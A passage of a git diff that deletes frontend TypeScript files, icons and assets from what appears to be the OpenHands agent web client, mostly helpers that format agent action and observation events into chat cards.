*/ -export async function resolveConversationUploadWorkingDir( - conversationId: string, - currentConversation?: AppConversation | null, -): Promise { - if ( - currentConversation?.id === conversationId && - currentConversation.workspace?.working_dir?.trim() - ) { - return currentConversation.workspace.working_dir.trim(); - } - - const stored = getStoredConversationMetadata(conversationId); - if (stored?.selected_workspace?.trim()) { - return stored.selected_workspace.trim(); - } - - if (UUID_PATTERN.test(conversationId)) { - return AgentServerConversationService.resolveConversationWorkingDir( - conversationId, - ); - } - - return getAgentServerWorkingDir(); -} - -// Re-export so callers can construct overrides matching what -// {@link buildWorkspaceUploadPath} expects without importing two modules. -export type { AgentServerClientOverrides }; -export { getAgentServerClientOptions }; diff --git a/src/api/workspaces-service/workspaces-service.api.ts b/src/api/workspaces-service/workspaces-service.api.ts deleted file mode 100644 index 174b5d7f3..000000000 --- a/src/api/workspaces-service/workspaces-service.api.ts +++ /dev/null @@ -1,67 +0,0 @@ -/** - * WorkspacesService talks to the agent-server's /api/workspaces endpoints, - * which persist the user's saved workspaces and workspace parents on the - * server (workspace/.openhands/workspaces.json). All clients pointed at - * the same agent-server see the same list. - * - * The SDK WorkspacesClient owns compatibility preflight behavior, so old - * agent-server backends surface the same typed version error without this - * frontend constructing a raw HttpClient. - */ -import { - WorkspacesClient, - type WorkspacesListResponse as SdkWorkspacesListResponse, -} from "@openhands/typescript-client/clients"; - -import { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace"; - -import { getAgentServerClientOptions } from "../agent-server-client-options"; - -export interface WorkspacesListResponse { - workspaces: LocalWorkspace[]; - workspaceParents: LocalWorkspaceParent[]; -} - -function client() { - return new WorkspacesClient(getAgentServerClientOptions()); -} - -function toLocalWorkspacesResponse( - response: SdkWorkspacesListResponse, -): WorkspacesListResponse { - return { - workspaces: response.workspaces.map(({ parentPath, ...workspace }) => ({ - ...workspace, - ...(parentPath ? { parentPath } : {}), - })), - workspaceParents: response.workspaceParents, - }; -} - -class WorkspacesService { - static async listWorkspaces(): Promise { - return toLocalWorkspacesResponse(await client().listWorkspaces()); - } - - static async addWorkspaces( - items: LocalWorkspace[], - ): Promise { - return toLocalWorkspacesResponse(await client().addWorkspaces(items)); - } - - static async removeWorkspace(path: string): Promise { - await client().deleteWorkspace(path); - } - - static async addWorkspaceParents( - items: LocalWorkspaceParent[], - ): Promise { - return toLocalWorkspacesResponse(await client().addWorkspaceParents(items)); - } - - static async removeWorkspaceParent(path: string): Promise { - await client().deleteWorkspaceParent(path); - } -} - -export default WorkspacesService; diff --git a/src/assets/branding/azure-devops-logo.svg b/src/assets/branding/azure-devops-logo.svg deleted file mode 100644 index 01ff9f8a9..000000000 --- a/src/assets/branding/azure-devops-logo.svg +++ /dev/null @@ -1 +0,0 @@ - diff --git a/src/assets/branding/openhands-logo-white.svg b/src/assets/branding/openhands-logo-white.svg deleted file mode 100644 index dcb9f0ae6..000000000 --- a/src/assets/branding/openhands-logo-white.svg +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - diff --git a/src/assets/branding/openhands-logo.svg b/src/assets/branding/openhands-logo.svg deleted file mode 100644 index f6938f73a..000000000 --- a/src/assets/branding/openhands-logo.svg +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - diff --git a/src/assets/chevron-left.tsx b/src/assets/chevron-left.tsx deleted file mode 100644 index b400fcea2..000000000 --- a/src/assets/chevron-left.tsx +++ /dev/null @@ -1,28 +0,0 @@ -interface ChevronLeftProps { - width?: number; - height?: number; - active?: boolean; -} - -export function ChevronLeft({ - width = 20, - height = 20, - active, -}: ChevronLeftProps) { - return ( - - - - ); -} diff --git a/src/assets/chevron-right.tsx b/src/assets/chevron-right.tsx deleted file mode 100644 index a298724e9..000000000 --- a/src/assets/chevron-right.tsx +++ /dev/null @@ -1,28 +0,0 @@ -interface ChevronRightProps { - width?: number; - height?: number; - active?: boolean; -} - -export function ChevronRight({ - width = 20, - height = 20, - active, -}: ChevronRightProps) { - return ( - - - - ); -} diff --git a/src/assets/notification.mp3 b/src/assets/notification.mp3 deleted file mode 100644 index 7937b7c56..000000000 Binary files a/src/assets/notification.mp3 and /dev/null differ diff --git a/src/components/browser/index.ts b/src/components/browser/index.ts deleted file mode 100644 index 221de2ec8..000000000 --- a/src/components/browser/index.ts +++ /dev/null @@ -1,3 +0,0 @@ -export { BrowserPanel } from "../features/browser/browser"; -export { BrowserSnapshot } from "../features/browser/browser-snapshot"; -export { EmptyBrowserMessage } from "../features/browser/empty-browser-message"; diff --git a/src/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.ts b/src/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.ts deleted file mode 100644 index d088c2561..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.ts +++ /dev/null @@ -1,65 +0,0 @@ -import { MessageEvent } from "#/types/agent-server/core"; -import { BaseEvent } from "#/types/agent-server/core/base/event"; -import { - getSkillReadyContent, - getSkillReadyItems, - SkillReadyItem, -} from "./get-skill-ready-content"; - -export type { SkillReadyItem }; - -/** - * Synthetic event type for Skill Ready events. - * This extends BaseEvent and includes a marker to identify it as a skill ready event. - */ -export interface SkillReadyEvent extends BaseEvent { - _isSkillReadyEvent: true; - _skillReadyContent: string; - _skillReadyItems: SkillReadyItem[]; -} - -/** - * Type guard for Skill Ready events. - */ -export const isSkillReadyEvent = (event: unknown): event is SkillReadyEvent => - typeof event === "object" && - event !== null && - "_isSkillReadyEvent" in event && - event._isSkillReadyEvent === true; - -/** - * Creates a synthetic "Skill Ready" event from a user MessageEvent. - * This event appears as originating from the agent and contains formatted - * information about activated skills and extended content. - */ -export const createSkillReadyEvent = ( - userEvent: MessageEvent, -): SkillReadyEvent => { - // Support both activated_skills and activated_microagents field names - const activatedSkills = - (userEvent as unknown as { activated_skills?: string[] }) - .activated_skills || - userEvent.activated_microagents || - []; - - const extendedContent = userEvent.extended_content || []; - - // Only create event if we have skills or extended content - if (activatedSkills.length === 0 && extendedContent.length === 0) { - throw new Error( - "Cannot create skill ready event without activated skills or extended content", - ); - } - - const content = getSkillReadyContent(activatedSkills, extendedContent); - const items = getSkillReadyItems(activatedSkills, extendedContent); - - return { - id: `${userEvent.id}-skill-ready`, - timestamp: userEvent.timestamp, - source: "agent", - _isSkillReadyEvent: true, - _skillReadyContent: content, - _skillReadyItems: items, - }; -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.ts b/src/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.ts deleted file mode 100644 index b53c07beb..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.ts +++ /dev/null @@ -1,132 +0,0 @@ -import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event"; -import i18n from "#/i18n"; -import { MAX_CONTENT_LENGTH } from "./shared"; -import { I18nKey } from "#/i18n/declaration"; - -/** - * Pick the translation key used for the ACP tool call title row. Mirrors - * ACTION_MESSAGE$RUN / $EDIT / $READ etc. - */ -export const getACPToolCallTitleKey = (event: ACPToolCallEvent): string => { - switch (event.tool_kind) { - case "execute": - return "ACTION_MESSAGE$ACP_RUN"; - case "edit": - return "ACTION_MESSAGE$ACP_EDIT"; - case "read": - return "ACTION_MESSAGE$ACP_READ"; - case "fetch": - return "ACTION_MESSAGE$ACP_FETCH"; - default: - return "ACTION_MESSAGE$ACP_TOOL"; - } -}; - -// English verb prefixes ACP servers sometimes inline into the title. -// Claude Code emits ``"Read /Users/foo/bar"`` for a read tool — combined -// with the i18n template ``"Reading {{title}}"`` that lands as -// ``"Reading Read /Users/foo/bar"``. The redundant leading verb is the -// part we strip; the template's own verb (which is i18n'd) stays. -// -// Keyed by ``tool_kind`` so the strip is scoped to where double-verbing -// actually shows up. The english-only check is intentional — ACP servers -// are anglophone tools and emit english titles regardless of the user's -// canvas locale; matching translated verbs would mean every locale's -// strip list goes stale the moment a new server is added. -const REDUNDANT_TITLE_PREFIXES: Partial> = { - read: ["Read"], - edit: ["Edit", "Write"], - execute: ["Bash", "Run"], - fetch: ["Fetch", "WebFetch"], -}; - -/** - * Strip a leading verb from ``event.title`` that would duplicate the - * verb baked into the i18n template (see ``REDUNDANT_TITLE_PREFIXES``). - * - * The match is anchored, case-sensitive, and requires the prefix to be - * followed by whitespace so a token like ``"Reads"`` (an actual verb - * elsewhere in the title) is left alone. If no prefix matches, the title - * is returned verbatim. - */ -export const stripRedundantTitlePrefix = (event: ACPToolCallEvent): string => { - const title = event.title; - const tool_kind = event.tool_kind; - if (!title || !tool_kind) return title; - const prefixes = REDUNDANT_TITLE_PREFIXES[tool_kind]; - if (!prefixes) return title; - for (const prefix of prefixes) { - if ( - title.length > prefix.length && - title.startsWith(prefix) && - /\s/.test(title.charAt(prefix.length)) - ) { - return title.slice(prefix.length).trimStart(); - } - } - return title; -}; - -/** - * Stringify an arbitrary raw_input / raw_output payload for markdown - * rendering. Strings pass through; objects are pretty-printed JSON. - */ -const stringifyPayload = (value: unknown): string => { - if (value === null || value === undefined) return ""; - if (typeof value === "string") return value; - try { - return JSON.stringify(value, null, 2); - } catch { - return String(value); - } -}; - -const truncate = (content: string): string => - content.length > MAX_CONTENT_LENGTH - ? `${content.slice(0, MAX_CONTENT_LENGTH)}...` - : content; - -/** - * Build the markdown-flavored body for an ACP tool call card. Mirrors the - * shape of ``getTerminalObservationContent`` (``Command:`` + ``Output:`` - * fenced blocks) so the rendered card lines up with regular OpenHands - * observations. - * - * For ``tool_kind === "execute"`` we surface ``raw_input.command`` as the - * command line; for others we fall back to a pretty-printed JSON dump of - * the input. Output is always dumped as a fenced block, with the same - * "(no output)" fallback copy used by the bash observation renderer. - */ -export const getACPToolCallContent = (event: ACPToolCallEvent): string => { - const toolKind = event.tool_kind; - const rawInput = event.raw_input; - const rawOutput = event.raw_output; - const isError = event.is_error; - - let output = ""; - - // Input block — command for execute, JSON dump otherwise. - if ( - toolKind === "execute" && - rawInput && - typeof rawInput === "object" && - "command" in rawInput && - typeof (rawInput as { command: unknown }).command === "string" - ) { - const { command } = rawInput as { command: string }; - output += `Command: \`${command}\`\n\n`; - } else if (rawInput !== null && rawInput !== undefined && rawInput !== "") { - const inputStr = stringifyPayload(rawInput); - if (inputStr.trim()) { - output += `Input:\n\`\`\`json\n${inputStr}\n\`\`\`\n\n`; - } - } - - // Output block — matches the bash observation layout exactly. - const outputStr = truncate(stringifyPayload(rawOutput).trim()); - const outputLabel = isError ? "**Error:**" : "Output:"; - const outputBody = outputStr || i18n.t(I18nKey.OBSERVATION$COMMAND_NO_OUTPUT); - output += `${outputLabel}\n\`\`\`\n${outputBody}\n\`\`\``; - - return output; -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/get-action-content.ts b/src/components/conversation-events/chat/event-content-helpers/get-action-content.ts deleted file mode 100644 index 0feaf47b7..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/get-action-content.ts +++ /dev/null @@ -1,269 +0,0 @@ -import { ActionEvent } from "#/types/agent-server/core"; -import { getDefaultEventContent, MAX_CONTENT_LENGTH } from "./shared"; -import i18n from "#/i18n"; -import { SecurityRisk } from "#/types/agent-server/core/base/common"; -import { I18nKey } from "#/i18n/declaration"; -import { - ExecuteBashAction, - TerminalAction, - FileEditorAction, - StrReplaceEditorAction, - MCPToolAction, - ThinkAction, - FinishAction, - TaskTrackerAction, - BrowserNavigateAction, - BrowserClickAction, - BrowserTypeAction, - BrowserGetStateAction, - BrowserGetContentAction, - BrowserScrollAction, - BrowserGoBackAction, - BrowserListTabsAction, - BrowserSwitchTabAction, - BrowserCloseTabAction, - GlobAction, - GrepAction, - InvokeSkillAction, -} from "#/types/agent-server/core/base/action"; - -const getRiskText = (risk: SecurityRisk) => { - switch (risk) { - case SecurityRisk.LOW: - return i18n.t(I18nKey.SECURITY$LOW_RISK); - case SecurityRisk.MEDIUM: - return i18n.t(I18nKey.SECURITY$MEDIUM_RISK); - case SecurityRisk.HIGH: - return i18n.t(I18nKey.SECURITY$HIGH_RISK); - case SecurityRisk.UNKNOWN: - default: - return i18n.t(I18nKey.SECURITY$UNKNOWN_RISK); - } -}; - -const getNoContentActionContent = (): string => ""; - -// Invoke-skill actions -const getInvokeSkillActionContent = (action: InvokeSkillAction): string => - action.name ? `**Skill:** \`${action.name}\`` : getNoContentActionContent(); - -// Grep/Glob search actions -const getSearchActionContent = ( - event: ActionEvent, -): string => { - const { action } = event; - const parts: string[] = []; - if (action.pattern) { - parts.push(`**Pattern:** \`${action.pattern}\``); - } - if (action.path) { - parts.push(`**Path:** \`${action.path}\``); - } - if ("include" in action && action.include) { - parts.push(`**Include:** \`${action.include}\``); - } - return parts.length > 0 ? parts.join("\n") : getNoContentActionContent(); -}; - -// File Editor Actions -const getFileEditorActionContent = ( - action: FileEditorAction | StrReplaceEditorAction, -): string => { - // Early return if not a create command or no file text - if (action.command !== "create" || !action.file_text) { - return getNoContentActionContent(); - } - - // Process file text with length truncation - let fileText = action.file_text; - if (fileText.length > MAX_CONTENT_LENGTH) { - fileText = `${fileText.slice(0, MAX_CONTENT_LENGTH)}...`; - } - - return `${action.path}\n${fileText}`; -}; - -// Command Actions -const getExecuteBashActionContent = ( - event: ActionEvent, -): string => { - let content = `Command:\n\`${event.action.command}\``; - - // Add security risk information if it's HIGH or MEDIUM - if ( - event.security_risk === SecurityRisk.HIGH || - event.security_risk === SecurityRisk.MEDIUM - ) { - content += `\n\n${getRiskText(event.security_risk)}`; - } - - return content; -}; - -// Tool Actions -const getMCPToolActionContent = (action: MCPToolAction): string => { - // For V1, the tool name is in the event's tool_name property, not in the action - let details = `**MCP Tool Call**\n\n`; - details += `**Arguments:**\n\`\`\`json\n${JSON.stringify(action.data, null, 2)}\n\`\`\``; - return details; -}; - -// Simple Actions -const getThinkActionContent = (action: ThinkAction): string => action.thought; - -const getFinishActionContent = (action: FinishAction): string => - action.message.trim(); - -// Complex Actions -const getTaskTrackerActionContent = (action: TaskTrackerAction): string => { - let content = `**Command:** \`${action.command}\``; - - // Handle plan command with task list - if (action.command === "plan") { - if (action.task_list && action.task_list.length > 0) { - content += `\n\n**Task List (${action.task_list.length} ${action.task_list.length === 1 ? "item" : "items"}):**\n`; - action.task_list.forEach((task, index: number) => { - const statusMap = { - todo: "⏳", - in_progress: "🔄", - done: "✅", - }; - const statusIcon = - statusMap[task.status as keyof typeof statusMap] || "❓"; - content += `\n${index + 1}. ${statusIcon} **[${task.status.toUpperCase().replace("_", " ")}]** ${task.title}`; - if (task.notes) { - content += `\n *Notes: ${task.notes}*`; - } - }); - } else { - content += "\n\n**Task List:** Empty"; - } - } - - return content; -}; - -// Browser Actions -type BrowserAction = - | BrowserNavigateAction - | BrowserClickAction - | BrowserTypeAction - | BrowserGetStateAction - | BrowserGetContentAction - | BrowserScrollAction - | BrowserGoBackAction - | BrowserListTabsAction - | BrowserSwitchTabAction - | BrowserCloseTabAction; - -const getBrowserActionContent = (action: BrowserAction): string => { - switch (action.kind) { - case "BrowserNavigateAction": { - let content = `Browsing ${action.url}`; - if (action.new_tab) { - content += `\n**New Tab:** Yes`; - } - return content; - } - case "BrowserClickAction": { - let content = `**Element Index:** ${action.index}`; - if (action.new_tab) { - content += `\n**New Tab:** Yes`; - } - return content; - } - case "BrowserTypeAction": { - const textPreview = - action.text.length > 50 - ? `${action.text.slice(0, 50)}...` - : action.text; - return `**Element Index:** ${action.index}\n**Text:** ${textPreview}`; - } - case "BrowserGetStateAction": { - if (action.include_screenshot) { - return `**Include Screenshot:** Yes`; - } - return getNoContentActionContent(); - } - case "BrowserGetContentAction": { - const parts: string[] = []; - if (action.extract_links) { - parts.push(`**Extract Links:** Yes`); - } - if (action.start_from_char > 0) { - parts.push(`**Start From Character:** ${action.start_from_char}`); - } - return parts.length > 0 ? parts.join("\n") : getNoContentActionContent(); - } - case "BrowserScrollAction": { - return `**Direction:** ${action.direction}`; - } - case "BrowserGoBackAction": { - return getNoContentActionContent(); - } - case "BrowserListTabsAction": { - return getNoContentActionContent(); - } - case "BrowserSwitchTabAction": { - return `**Tab ID:** ${action.tab_id}`; - } - case "BrowserCloseTabAction": { - return `**Tab ID:** ${action.tab_id}`; - } - default: - return getNoContentActionContent(); - } -}; - -export const getActionContent = (event: ActionEvent): string => { - const { action } = event; - const actionType = action.kind; - - switch (actionType) { - case "FileEditorAction": - case "StrReplaceEditorAction": - return getFileEditorActionContent(action); - - case "ExecuteBashAction": - case "TerminalAction": - return getExecuteBashActionContent( - event as ActionEvent, - ); - - case "MCPToolAction": - return getMCPToolActionContent(action); - - case "ThinkAction": - return getThinkActionContent(action); - - case "FinishAction": - return getFinishActionContent(action); - - case "TaskTrackerAction": - return getTaskTrackerActionContent(action); - - case "BrowserNavigateAction": - case "BrowserClickAction": - case "BrowserTypeAction": - case "BrowserGetStateAction": - case "BrowserGetContentAction": - case "BrowserScrollAction": - case "BrowserGoBackAction": - case "BrowserListTabsAction": - case "BrowserSwitchTabAction": - case "BrowserCloseTabAction": - return getBrowserActionContent(action); - - case "GrepAction": - case "GlobAction": - return getSearchActionContent( - event as ActionEvent, - ); - - case "InvokeSkillAction": - return getInvokeSkillActionContent(action as InvokeSkillAction); - - default: - return getDefaultEventContent(event); - } -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/get-event-content.tsx b/src/components/conversation-events/chat/event-content-helpers/get-event-content.tsx deleted file mode 100644 index e5f96f2c1..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/get-event-content.tsx +++ /dev/null @@ -1,478 +0,0 @@ -import { Trans } from "react-i18next"; -import React from "react"; -import { - CANVAS_UI_CLIENT_ACTION_KIND, - CANVAS_UI_CLIENT_TOOL_NAME, -} from "#/constants/canvas-ui"; -import { - OpenHandsEvent, - ObservationEvent, - ActionEvent, -} from "#/types/agent-server/core"; -import { - isActionEvent, - isObservationEvent, - isACPToolCallEvent, - isCanvasUIActionEvent, -} from "#/types/agent-server/type-guards"; -import { MonoComponent } from "../../../features/chat/mono-component"; -import { PathComponent } from "../../../features/chat/path-component"; -import { getActionContent } from "./get-action-content"; -import { getObservationContent } from "./get-observation-content"; -import { - getACPToolCallContent, - getACPToolCallTitleKey, - stripRedundantTitlePrefix, -} from "./get-acp-tool-call-content"; -import { TaskTrackingObservationContent } from "../task-tracking/task-tracking-observation-content"; -import { TaskTrackerObservation } from "#/types/agent-server/core/base/observation"; -import { SkillReadyEvent, isSkillReadyEvent } from "./create-skill-ready-event"; -import { resolveVisualizerBody } from "../../../features/chat/tool-visualizers/dispatcher"; -import i18n from "#/i18n"; -import { I18nKey } from "#/i18n/declaration"; - -const trimText = (text: string, maxLength: number): string => { - if (!text) return ""; - return text.length > maxLength ? `${text.substring(0, maxLength)}...` : text; -}; - -// Helper function to create title from translation key -const createTitleFromKey = ( - key: string, - values: Record, -): React.ReactNode => { - if (!i18n.exists(key)) { - return key; - } - - return ( - , - cmd: , - }} - /> - ); -}; - -/** - * Detects the agent-server's default summary fallback, which has the shape - * `{tool_name}: {json-args}` (see `_extract_summary` in - * `openhands/sdk/agent/agent.py`). When the LLM omits a summary the server - * dumps the raw arguments JSON, which renders as a huge unreadable blob in - * the chat. Treat that case as "no summary" so the action-kind specific - * title (e.g. "Editing ", "Running ") is used instead. - */ -const isServerFallbackSummary = (summary: string): boolean => - /^[a-z][a-z0-9_]*\s*:\s*[[{]/i.test(summary); - -const getSummaryTitleForActionEvent = ( - event: ActionEvent, -): React.ReactNode | null => { - const summary = event.summary?.trim().replace(/\s+/g, " ") || ""; - if (!summary || isServerFallbackSummary(summary)) { - return null; - } - return summary; -}; - -const getNonEmptyString = ( - value: unknown, - maxLength?: number, -): string | null => { - if (typeof value !== "string") { - return null; - } - - const trimmed = value.trim(); - if (!trimmed) { - return null; - } - - return maxLength ? trimText(trimmed, maxLength) : trimmed; -}; - -const getVisionInspectActionTitle = ( - event: ActionEvent, -): React.ReactNode | null => { - if (event.tool_name !== "inspect_image_with_vision") { - return null; - } - - const action = event.action as unknown as Record; - const profileName = getNonEmptyString(action.profile_name); - - return profileName - ? `Describing image with ${profileName}` - : "Describing image with auxiliary vision LLM"; -}; - -const getVisionInspectObservationTitle = ( - event: ObservationEvent, - correspondingAction?: ActionEvent, -): React.ReactNode | null => { - const actionToolName = correspondingAction?.tool_name; - const observation = event.observation as unknown as Record; - const observationToolName = getNonEmptyString(observation.tool_name); - - if ( - actionToolName !== "inspect_image_with_vision" && - observationToolName !== "inspect_image_with_vision" && - String(event.observation.kind) !== "VisionInspectObservation" - ) { - return null; - } - - const action = (correspondingAction?.action ?? {}) as unknown as Record< - string, - unknown - >; - const label = - getNonEmptyString(action.profile_name) ?? - getNonEmptyString(observation.profile_name) ?? - getNonEmptyString(observation.base_url, 80) ?? - getNonEmptyString(observation.endpoint, 80) ?? - getNonEmptyString(observation.model, 80); - - return label - ? `Describing image with ${label}` - : "Describing image with auxiliary vision LLM"; -}; - -// Action Event Processing -const getActionEventTitle = (event: OpenHandsEvent): React.ReactNode => { - // Early return if not an action event - if (!isActionEvent(event)) { - return ""; - } - - const visionInspectTitle = getVisionInspectActionTitle(event); - if (visionInspectTitle) { - return visionInspectTitle; - } - - const summaryTitle = getSummaryTitleForActionEvent(event); - if (summaryTitle) { - return summaryTitle; - } - - const actionType = event.action.kind; - let actionKey = ""; - let actionValues: Record = {}; - - switch (actionType) { - case "ExecuteBashAction": - case "TerminalAction": - actionKey = "ACTION_MESSAGE$RUN"; - actionValues = { - command: trimText(event.action.command, 80), - }; - break; - case "FileEditorAction": - case "StrReplaceEditorAction": - if (event.action.command === "view") { - actionKey = "ACTION_MESSAGE$READ"; - } else if (event.action.command === "create") { - actionKey = "ACTION_MESSAGE$WRITE"; - } else { - actionKey = "ACTION_MESSAGE$EDIT"; - } - actionValues = { - path: event.action.path, - }; - break; - case "MCPToolAction": - actionKey = "ACTION_MESSAGE$CALL_TOOL_MCP"; - actionValues = { - mcp_tool_name: event.tool_name, - }; - break; - case "InvokeSkillAction": - actionKey = "ACTION_MESSAGE$INVOKE_SKILL"; - actionValues = { - name: event.action.name, - }; - break; - case "TaskAction": - actionKey = "ACTION_MESSAGE$TASK"; - actionValues = { - name: event.action.subagent_type, - }; - break; - case "ThinkAction": - actionKey = "ACTION_MESSAGE$THINK"; - break; - case "FinishAction": - actionKey = "ACTION_MESSAGE$FINISH"; - break; - case "TaskTrackerAction": - actionKey = "ACTION_MESSAGE$TASK_TRACKING"; - break; - case "GrepAction": - actionKey = "ACTION_MESSAGE$GREP"; - actionValues = { - pattern: - "pattern" in event.action && event.action.pattern - ? trimText(String(event.action.pattern), 50) - : "", - }; - break; - case "GlobAction": - actionKey = "ACTION_MESSAGE$GLOB"; - actionValues = { - pattern: - "pattern" in event.action && event.action.pattern - ? trimText(String(event.action.pattern), 50) - : "", - }; - break; - case "BrowserNavigateAction": - case "BrowserClickAction": - case "BrowserTypeAction": - case "BrowserGetStateAction": - case "BrowserGetContentAction": - case "BrowserScrollAction": - case "BrowserGoBackAction": - case "BrowserListTabsAction": - case "BrowserSwitchTabAction": - case "BrowserCloseTabAction": - actionKey = "ACTION_MESSAGE$BROWSE"; - break; - case "CanvasUIAction": - case CANVAS_UI_CLIENT_ACTION_KIND: - return "CANVASUI"; - default: - // For unknown actions, use the type name - return String(actionType).replace("Action", "").toUpperCase(); - } - - if (actionKey) { - return createTitleFromKey(actionKey, actionValues); - } - - return actionType; -}; - -// Observation Event Processing -const getObservationEventTitle = ( - event: OpenHandsEvent, - correspondingAction?: ActionEvent, -): React.ReactNode => { - // Early return if not an observation event - if (!isObservationEvent(event)) { - return ""; - } - - const visionInspectObservationTitle = getVisionInspectObservationTitle( - event, - correspondingAction, - ); - if (visionInspectObservationTitle) { - return visionInspectObservationTitle; - } - - if (correspondingAction) { - const visionInspectTitle = getVisionInspectActionTitle(correspondingAction); - if (visionInspectTitle) { - return visionInspectTitle; - } - - const summaryTitle = getSummaryTitleForActionEvent(correspondingAction); - if (summaryTitle) { - return summaryTitle; - } - } - - const observationType = event.observation.kind; - let observationKey = ""; - let observationValues: Record = {}; - - switch (observationType) { - case "ExecuteBashObservation": - case "TerminalObservation": - observationKey = "OBSERVATION_MESSAGE$RUN"; - observationValues = { - command: event.observation.command - ? trimText(event.observation.command, 80) - : "", - }; - break; - case "FileEditorObservation": - case "StrReplaceEditorObservation": - if (event.observation.command === "view") { - observationKey = "OBSERVATION_MESSAGE$READ"; - } else { - observationKey = "OBSERVATION_MESSAGE$EDIT"; - } - observationValues = { - path: event.observation.path || "", - }; - break; - case "MCPToolObservation": - observationKey = "OBSERVATION_MESSAGE$MCP"; - observationValues = { - mcp_tool_name: event.observation.tool_name, - }; - break; - case "InvokeSkillObservation": - observationKey = "OBSERVATION_MESSAGE$INVOKE_SKILL"; - observationValues = { - name: event.observation.skill_name, - }; - break; - case "TaskObservation": - observationKey = "OBSERVATION_MESSAGE$TASK"; - observationValues = { - name: event.observation.subagent, - }; - break; - case "CanvasUIObservation": - observationKey = "OBSERVATION_MESSAGE$CANVAS_UI"; - break; - case "ClientToolObservation": - if (event.tool_name === CANVAS_UI_CLIENT_TOOL_NAME) { - observationKey = "OBSERVATION_MESSAGE$CANVAS_UI"; - break; - } - return observationType.replace("Observation", "").toUpperCase(); - case "SwitchLLMObservation": - observationKey = event.observation.is_error - ? "MODEL$SWITCH_FAILED" - : "MODEL$SWITCHED_TO_PROFILE"; - observationValues = { - name: event.observation.profile_name, - }; - break; - case "BrowserObservation": - observationKey = "OBSERVATION_MESSAGE$BROWSE"; - break; - case "TaskTrackerObservation": { - const { command } = event.observation; - if (command === "plan") { - observationKey = "OBSERVATION_MESSAGE$TASK_TRACKING_PLAN"; - } else { - // command === "view" - observationKey = "OBSERVATION_MESSAGE$TASK_TRACKING_VIEW"; - } - break; - } - case "ThinkObservation": - observationKey = "OBSERVATION_MESSAGE$THINK"; - break; - case "GlobObservation": - observationKey = "OBSERVATION_MESSAGE$GLOB"; - observationValues = { - pattern: event.observation.pattern - ? trimText(event.observation.pattern, 50) - : "", - }; - break; - case "GrepObservation": - observationKey = "OBSERVATION_MESSAGE$GREP"; - observationValues = { - pattern: event.observation.pattern - ? trimText(event.observation.pattern, 50) - : "", - }; - break; - default: - // For unknown observations, use the type name - return observationType.replace("Observation", "").toUpperCase(); - } - - if (observationKey) { - return createTitleFromKey(observationKey, observationValues); - } - - return observationType; -}; - -const getCanvasUIClientObservationContent = ( - event: ObservationEvent, - correspondingAction?: ActionEvent, -): string | null => { - if ( - event.observation.kind !== "ClientToolObservation" || - event.tool_name !== CANVAS_UI_CLIENT_TOOL_NAME || - !correspondingAction || - !isCanvasUIActionEvent(correspondingAction) - ) { - return null; - } - - return `UI command '${correspondingAction.action.command}' dispatched to the Agent Canvas frontend.`; -}; - -export const getEventContent = ( - event: OpenHandsEvent | SkillReadyEvent, - correspondingAction?: ActionEvent, -) => { - let title: React.ReactNode = ""; - let details: string | React.ReactNode = ""; - - // Handle Skill Ready events first - if (isSkillReadyEvent(event)) { - // Use translation key if available, otherwise use "SKILL READY" - const skillReadyKey = "OBSERVATION_MESSAGE$SKILL_READY"; - if (i18n.exists(skillReadyKey)) { - title = createTitleFromKey(skillReadyKey, {}); - } else { - title = "Skill Ready"; - } - details = event._skillReadyContent; - } else if (isActionEvent(event)) { - title = getActionEventTitle(event); - // Per-tool React visualizer when one is registered; markdown otherwise. - details = resolveVisualizerBody(event) ?? getActionContent(event); - } else if (isObservationEvent(event)) { - title = getObservationEventTitle(event, correspondingAction); - - // For TaskTrackerObservation, use React component instead of markdown - if (event.observation.kind === "TaskTrackerObservation") { - details = ( - } - /> - ); - } else { - details = - getCanvasUIClientObservationContent(event, correspondingAction) ?? - resolveVisualizerBody(event, correspondingAction) ?? - getObservationContent(event); - } - } else if (isACPToolCallEvent(event)) { - // ACP sub-agent tool calls reuse the same card shape as observations: - // title is "Running/Editing/Reading …" via a translation key that - // mirrors ACTION_MESSAGE$RUN etc.; details are markdown built from - // raw_input + raw_output the same way getTerminalObservationContent - // builds "Command: / Output:" blocks. - title = createTitleFromKey(getACPToolCallTitleKey(event), { - // Strip a redundant verb prefix the ACP server may have inlined - // (Claude Code emits ``"Read /path"`` for a read tool; combined - // with the ``"Reading {{title}}"`` template that lands - // as ``"Reading Read /path"``). See ``stripRedundantTitlePrefix``. - title: stripRedundantTitlePrefix(event), - }); - details = getACPToolCallContent(event); - } else if ( - // Lenient fallback for action-like events that fail the strict isActionEvent() guard - // (e.g., missing tool_name or tool_call_id). Extract a title from the action kind - // so the UI shows something meaningful instead of "Unknown event". - event.source === "agent" && - "action" in event && - event.action !== null && - typeof event.action === "object" && - "kind" in event.action && - typeof event.action.kind === "string" - ) { - title = String(event.action.kind).replace("Action", "").toUpperCase(); - } - - return { - title: title || i18n.t(I18nKey.EVENT$UNKNOWN_EVENT), - details, - }; -}; diff --git a/src/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.ts b/src/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.ts deleted file mode 100644 index 855cc775f..000000000 --- a/src/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.ts +++ /dev/null @@ -1,28 +0,0 @@ -import { ObservationEvent } from "#/types/agent-server/core"; -import { InvokeSkillObservation } from "#/types/agent-server/core/base/observation"; -import { SkillReadyItem } from "./get-skill-ready-content"; - -/** - * Maps an InvokeSkillObservation to the SkillReadyItem shape so invoke-skill - * tool calls can reuse the Skill Ready expandable list. A single skill is - * invoked per observation, so this yields at most one item. Returns an empty - * array when there is neither a skill name nor any text content to show, which - * tells the caller to fall back to the default markdown body. - */ -export const getInvokeSkillItems = ( - event: ObservationEvent, -): SkillReadyItem[] => { - const { observation } = event; - - const content = observation.content - .filter((c) => c.type === "text") - .map((c) 